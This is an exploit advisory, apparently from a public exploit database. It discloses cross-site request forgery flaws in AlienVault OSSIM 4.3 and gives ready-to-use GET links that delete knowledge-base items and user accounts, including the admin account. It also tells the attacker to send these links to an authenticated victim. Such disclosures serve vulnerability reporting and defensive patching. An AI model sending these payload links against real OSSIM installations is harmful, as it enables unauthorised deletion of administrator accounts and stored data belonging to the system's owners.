# Exploit Title: [AlienVault - ossim CSRF]# Date: [10-5-2015]# Exploit Author: [MohamadReza Mohajerani]# Vendor Homepage: [www.alienvault.com]# Software Link: [https://www.alienvault.com/products/ossim]# Version: [Tested on 4.3]
Vulnerability Details:=====================
Multiple CSRF vectors exists within AlienVault ossim allowing the following
attacks:1)Delete user accounts(ex.admin account)2)Delete knowledge DB items
Exploit code(s):===============
The only thing the attacker needs to do is sending the following link to
the victim via GET request ,if the victim authenticated on the ossim and
click on the link the following attacks can be occurred :1)For deleting the
knowledge DB items just send the link below:
https://ossim-ip/ossim/repository/repository_delete.php?id_document=10232[id_document is the item number which you want to delete (it starts from1)]2)For deleting the user accounts (ex.admin account) use the link below :
https://ossim-ip/ossim/session/deleteuser.php?user=admin&_=1444042812845[the random number (1444042812845)isnot important at alland you can
change the number to whatever you want]
Severity Level:================
High